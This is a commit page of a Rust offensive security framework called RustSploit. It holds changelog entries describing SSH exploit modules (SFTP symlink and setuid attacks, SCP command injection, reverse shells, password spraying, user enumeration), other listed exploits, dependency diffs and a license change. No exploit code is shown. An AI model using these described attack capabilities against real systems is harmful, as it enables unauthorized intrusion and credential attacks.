- **NEW:** `validate_hostname_or_ip()` - Validates hostname/IP:
  - Hostname length validation (DNS max 253)
  - Valid character regex check (`[a-zA-Z0-9.\-_:\[\]]+`)
  - Format validation (no leading/trailing special chars)
  - Consecutive dot detection

#### api.rs

- **NEW:** `RequestBodyLimitLayer` (1MB max) - Prevents DoS via large request bodies
- **NEW Constants:**
  - `MAX_REQUEST_BODY_SIZE` (1MB)
  - `MAX_TRACKED_IPS` (100,000)
  - `MAX_AUTH_FAILURE_ENTRIES` (100,000)

- **Enhanced `track_ip()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup when tracker exceeds limits
  - Prunes oldest entries, keeps most recent half
  - `saturating_add()` for overflow protection

- **Enhanced `record_auth_failure()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup of expired blocks and old entries (>1 hour)
  - `saturating_add()` for overflow protection
  - Memory-efficient housekeeping

#### Cargo.toml

- Added `limit` feature to `tower-http` for request body limiting

###  Summary

All user-facing input paths now have:

-  Length limits to prevent memory exhaustion
-  Control character rejection
-  Path traversal prevention
-  Format validation where applicable
-  Overflow protection
-  Maximum attempt limits on prompts
-  Automatic resource cleanup in API


Documentation Updates Summary


README.md (Main README)


Highlights Section: Added security hardening to feature list, expanded credential modules to include SNMP, L2TP, Fortinet
Module Catalog: Updated with all new modules (Flowise RCE, HTTP/2 Rapid Reset, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed) and expanded scanner capabilities (SYN/ACK scans)
Security Features Section: Added new "Input Validation & Security" subsection documenting:
Request body limiting (1MB)
API key validation
Target validation
Module path sanitization
Resource limits with automatic cleanup
Enhanced rate limiting with auto-cleanup
Enhanced hardening mode with auto-pruning
docs/readme.md (Developer Guide)
Table of Contents: Added new "Security & Input Validation" section
Code Layout: Updated to include api.rs, config.rs, and telnet-default/ directory
NEW Section - Security & Input Validation: Comprehensive developer guide including:
Input validation constants table (all limits across files)

Security patterns with code examples:

Input length validation
Control character rejection
Path traversal prevention
Hostname/target validation
Overflow protection
Prompt attempt limiting
API security implementation details
File operations security guidelines
lists/readme.md (Data Files Catalog)
Available Files: Added telnet-default/ directory with its files (usernames.txt, passwords.txt, empty.txt)
Ideas Section: Added suggestions for SNMP, Fortinet, and SSH default credential lists
NEW Section - Security Notes: Guidelines for contributing wordlists:
No malicious payloads
File size limits
UTF-8 encoding requirements
Line format standards

changelog.md

NEW Section - v0.4.0: Complete documentation of all security enhancements:
main.rs validation functions
shell.rs prompt hardening
config.rs target validation
api.rs resource limits and cleanup
Cargo.toml changes

---

## v0.4.1 - SSHPWN Integration (November 2025)

###  New SSH Attack Modules

Integrated comprehensive SSH attack framework based on OpenSSH 10.0p1 vulnerability analysis.

#### SFTP Attack Module (`exploits/ssh/sshpwn_sftp_attacks`)

Based on sftp-server.c vulnerabilities:

- **Symlink Injection** (process_symlink) - Create symlinks to sensitive files, bypass chroot
- **Setuid Bit Attack** (process_setstat 07777) - Set setuid/setgid bits on uploaded files
- **Path Traversal** (process_open) - Escape chroot restrictions
- **Partial Write Race** (process_write) - Exploit write atomicity issues

#### SCP Attack Module (`exploits/ssh/sshpwn_scp_attacks`)

Based on scp.c vulnerabilities:

- **Path Traversal** (sink function) - Write outside target directory
- **Username Shell Injection** (okname) - Shell metacharacter injection
- **Brace Expansion DoS** (brace_expand) - Client-side memory exhaustion
- **Command Injection** (do_cmd) - Inject commands via arguments

#### Session Attack Module (`exploits/ssh/sshpwn_session`)

Based on session.c vulnerabilities:

- **Environment Variable Injection** (do_setup_env) - Inject LD_PRELOAD, PATH, etc.
- **Command Execution** - Execute commands on authenticated targets
- **Reverse Shell** - Multiple payload types (bash, python, nc, perl, php, ruby)
- **File Upload/Download** - SFTP-based file transfer

###  New SSH Scanner (`scanners/ssh_scanner`)

Network reconnaissance for SSH services:

- CIDR range support
- IPv4/IPv6 support  
- Banner grabbing
- Concurrent scanning (configurable threads)
- Results export

###  New SSH Credential Modules

#### SSH User Enumeration (`creds/generic/ssh_user_enum`)

Timing attack for user enumeration (CVE-2018-15473 style):

- Measures authentication response timing
- Compares against baseline for invalid users
- Configurable samples and threshold
- Wordlist support

#### SSH Password Spray (`creds/generic/ssh_spray`)

Spray single password across multiple targets:

- Avoids account lockouts
- CIDR range support
- Concurrent spraying
- Results export

###  Module Summary

| Module | Path | Type |
|--------|------|------|
| SFTP Attacks | `exploits/ssh/sshpwn_sftp_attacks` | Exploit |
| SCP Attacks | `exploits/ssh/sshpwn_scp_attacks` | Exploit |
| Session Attacks | `exploits/ssh/sshpwn_session` | Exploit |
| SSH Scanner | `scanners/ssh_scanner` | Scanner |
| SSH User Enum | `creds/generic/ssh_user_enum` | Credential |
| SSH Spray | `creds/generic/ssh_spray` | Credential |

All modules feature:
s
-  Colored output with status indicators
-  Interactive configuration prompts
-  Input validation
-  IPv4/IPv6 support
-  Results export capability



SSHPWN Integration Summary

New SSH Exploit Modules (src/modules/exploits/ssh/)

1. sshpwn_sftp_attacks.rs - SFTP Attacks

Based on sftp-server.c vulnerabilities:

Symlink Injection - Create symlinks to read sensitive files like /etc/passwd, /etc/shadow
Setuid Bit Attack - Set setuid/setgid bits on uploaded files (07777 mask vulnerability)
Path Traversal - Escape chroot restrictions via traversal paths
Partial Write Race - Exploit write atomicity issues

2. sshpwn_scp_attacks.rs - SCP Attacks

Based on scp.c vulnerabilities:

Path Traversal - Protocol injection, null byte injection, newline injection
Username Shell Injection - Exploit incomplete okname() filtering ($(), backticks, pipes)
Brace Expansion DoS - Client-side memory exhaustion via {a,b}^n patterns
Command Injection - ProxyCommand, rsync-path, ControlPath injection

3. sshpwn_session.rs - Session Attacks

Based on session.c vulnerabilities:

Environment Injection - LD_PRELOAD, LD_LIBRARY_PATH, PATH, BASH_ENV injection
Command Execution - Execute arbitrary commands
Reverse Shells - 8 payload types (bash, python, python3, nc, perl, php, ruby)
File Upload/Download - SFTP-based transfer
New SSH Scanner (src/modules/scanners/)

ssh_scanner.rs - SSH Service Scanner

CIDR range support (192.168.1.0/24)
IP range support (192.168.1.1-254)
IPv4/IPv6 support
Banner grabbing
Concurrent scanning with configurable threads
Results export to file
New SSH Credential Modules (src/modules/creds/generic/)

ssh_user_enum.rs - User Enumeration (Timing Attack)

CVE-2018-15473 style timing attack
Measures authentication response times
Compares against baseline timing
Configurable samples and threshold
Wordlist support

ssh_spray.rs - Password Spray

Spray single password across multiple targets/users
Avoids account lockouts
CIDR range support
Concurrent spraying
Results export
Module Access Paths
Module	Full Path	Short Name
SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks	sshpwn_sftp_attacks
SCP Attacks	exploits/ssh/sshpwn_scp_attacks	sshpwn_scp_attacks
Session Attacks	exploits/ssh/sshpwn_session	sshpwn_session
SSH Scanner	scanners/ssh_scanner	ssh_scanner
User Enumeration	creds/generic/ssh_user_enum	ssh_user_enum
Password Spray	creds/generic/ssh_spray	ssh_spray
All modules compile cleanly and follow the RustSploit patterns with colored output, interactive prompts, and input validation.


Summary of fixes:

Fixed format string error in sshpwn_scp_attacks.rs:227:
Rust doesn't support Python's {:,} format for thousands separators
Added a format_number() helper function that formats numbers with comma separators
Removed unused import in sshpwn_sftp_attacks.rs:15:
Changed use ssh2::{Session, Sftp} → use ssh2::Session
Fixed unused variable in sshpwn_scp_attacks.rs:176:
Changed port: u16 → _port: u16
Fixed unused variable in sshpwn_session.rs:94:
Changed timeout: u64 → _timeout: u64
Build result: Finished dev profile [unoptimized + debuginfo] target(s) in 24.64s with exit code 0 - no warnings or errors!

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Complete SSH Module Implementation

Module	Path	Attacks Implemented

SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks.rs	Symlink injection, Setuid bit, Path traversal, Partial write
SCP Attacks	exploits/ssh/sshpwn_scp_attacks.rs	Path traversal, Username injection, Brace DoS, Command injection
Session Attacks	exploits/ssh/sshpwn_session.rs	Env injection, Command exec, Interactive shell, Reverse shell, Upload/Download
Auth Password	exploits/ssh/sshpwn_auth_passwd.rs	Password length DoS, Password change info leak, Auth timing attack, Bcrypt truncation
SSH Scanner	scanners/ssh_scanner.rs	CIDR scan, Banner grab, Concurrent scanning
SSH User Enum	creds/generic/ssh_user_enum.rs	Timing-based user enumeration
SSH Spray	creds/generic/ssh_spray.rs	Password spray across targets
SSH Bruteforce	creds/generic/ssh_bruteforce.rs	Credential bruteforce

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Build Complete - All Warnings Fixed

SSH Modules Wired:

Exploit Modules (6):

Module	Description
sshpwn_auth_passwd	Auth password attacks (length DoS, timing, bcrypt truncation)
sshpwn_pam	PAM attacks (memory exhaustion, env injection, timing)
sshpwn_session	Session attacks (exec, revshell, interactive shell, upload/download)
sshpwn_scp_attacks	SCP attacks (traversal, username injection, brace DoS, cmd injection)
sshpwn_sftp_attacks	SFTP attacks (symlink, setuid, traversal, partial write)
opensshserver_9_8p1race_condition	Race condition exploit
Credential Modules (3):
Module	Description
ssh_bruteforce	SSH credential brute force
ssh_spray	SSH password spraying
ssh_user_enum	SSH user enumeration (timing attack)
Scanner Modules (1):
Module	Description
ssh_scanner	SSH service discovery and banner grabbing

Fixes Applied:

 Removed unused HashMap import from sshpwn_pam.rs
 Removed unused Read import from sshpwn_auth_passwd.rs
 Fixed unused port variable - now used in output
 Removed unused DEFAULT_TIMEOUT_SECS constant
 Removed unused prompt() function
 Removed unused PathBuf imports from generator files
 Added sshpwn_pam to mod.rs
2025-11-28 22:34:31 +02:00
S.B 66964ba639 Update readme.md 2025-11-28 22:31:14 +02:00
S.B cb3ad7c22d Update extra.txt 2025-11-28 22:30:34 +02:00
S.B 423b0e0838 Update Cargo.toml 2025-11-28 22:28:53 +02:00
S.B cb053d5be3 Update readme.md 2025-11-28 22:27:50 +02:00
S.B 39c8d8ccc8 Update README.md 2025-11-28 22:26:17 +02:00
S.B b2c85875fa Update changelog.md 2025-11-28 22:23:00 +02:00
S.B ee6d4e399e Add files via upload 2025-11-28 22:22:17 +02:00
S.B 8af6d45e32 Delete src directory 2025-11-28 22:19:19 +02:00
S.B a0c8c723dc Update changelog.md 2025-11-26 16:59:39 +02:00
S.B 97c366a846 Update Cargo.toml 2025-11-26 16:58:57 +02:00
S.B 7fc4148202 Add files via upload 2025-11-26 16:57:48 +02:00
S.B ab8256fc19 Delete src directory 2025-11-26 16:55:31 +02:00
S.B 3403cec7f9 Merge pull request #27 from s-b-repo/rust-2024-edition-migration
Rust 2024 edition migration
2025-11-26 16:48:21 +02:00
S.B 99e31b1c2f Update Cargo.toml 2025-11-24 15:03:07 +02:00
S.B c9e93614a4 Add files via upload 2025-11-24 14:59:46 +02:00
S.B 227dc38663 Delete preview.png 2025-11-24 14:59:29 +02:00
S.B b1ca5f1151 Add files via upload 2025-11-24 14:58:34 +02:00
S.B 6c153eee99 Delete src directory 2025-11-24 14:56:45 +02:00
S.B c9712dc4a9 Add files via upload 2025-11-24 14:53:44 +02:00
S.B be1c4158af Delete src directory 2025-11-24 14:52:09 +02:00
S.B 26913cdbf6 Merge pull request #26 from s-b-repo/beta-testing
Beta testing
2025-11-24 14:16:37 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
221 changed files with 67012 additions and 6399 deletions
-22
View File
@@ -1,22 +0,0 @@
name: Rust
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
jobs:
build:
runs-on: Kali
steps:
- uses: actions/checkout@v4
- name: Build
run: cargo build --verbose
- name: Run tests
run: cargo test --verbose
+156 -115
View File
@@ -1,122 +1,163 @@
[package]
name = "rustsploit"
version = "0.2.0"
edition = "2021"
version = "0.4.7"
edition = "2024"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9"
# For CLI parsing
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0"
#teminal color
colored = "3.0"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.36", features = ["multithread"] }
#telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
walkdir = "2.5"
#ssh
ssh2 = "0.9"
# rstp brute forcing
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2"
futures = "0.3"
futures-util = "0.3"
#spotube exploit
serde_json = "1.0"
tokio-tungstenite = "0.26"
#zte rce
# Add these to [dependencies]
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5"
#avanti
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0"
# API server
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
# DNS tooling
trust-dns-client = { version = "0.23", features = ["dnssec"] }
trust-dns-proto = "0.23"
# Pin transitive dependencies to edition-2021-compatible releases
# (newer versions require unstable edition2024 feature)
home = "=0.5.11"
[build-dependencies]
regex = "1.11" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "17.0"
sysinfo = { version = "0.38", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.49", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.13", features = ["json", "cookies", "socks", "multipart", "form"] }
h2 = "0.4"
http = "1.4"
bytes = "1.11"
tokio-rustls = "0.26"
url = "2.5"
urlencoding = "2.1"
quick-xml = "0.39"
data-encoding = "2.10"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.8"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.1"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.6", features = ["all"] }
pnet_packet = "0.35"
ipnet = "2.11"
ipnetwork = "0.21"
regex = "1.12" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "1.0"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
libc = "0.2"
# Bluetooth
btleplug = "0.11"
# TUI (WPair module)
ratatui = "0.29"
crossterm = "0.28"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.28"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.8"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
uuid = { version = "1.19", features = ["v4", "serde"] }
# DNS
hickory-client = { version = "0.25" }
hickory-proto = "0.25"
# Misc utilities
once_cell = "1.21"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.35"
des = { version = "0.8.1", features = ["zeroize"] }
strsim = "0.11"
byteorder = "1.5.0"
ssh2 = "0.9.5"
num_cpus = "1.17.0"
# TOTP Authentication
totp-rs = { version = "5.6", features = ["gen_secret", "otpauth", "qr"] }
# Archive format for job output storage
tar = "0.4"
# Constant-time comparison for security (timing attack prevention)
subtle = "2.6"
[build-dependencies]
regex = "1.12"
walkdir = "2.5"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
# ============================================
# Development profile: Fast incremental builds
# ============================================
[profile.dev]
opt-level = 0 # No optimization for fastest compile
debug = true # Keep debug symbols
incremental = true # Enable incremental compilation
split-debuginfo = "unpacked" # Faster link times
# Optimize dependencies in dev mode (they don't change often)
[profile.dev.package."*"]
opt-level = 2 # Deps are optimized but your code isn't
# ============================================
# Release profile: Maximum performance
# ============================================
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
# ============================================
# Custom profile: Fast release builds for testing
# Usage: cargo build --profile fast-release
# ============================================
[profile.fast-release]
inherits = "release"
lto = "thin" # Faster than fat LTO
codegen-units = 4 # Parallel codegen
+670 -17
View File
@@ -1,21 +1,674 @@
MIT License
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (c) 2025 S.B
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
Preamble
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
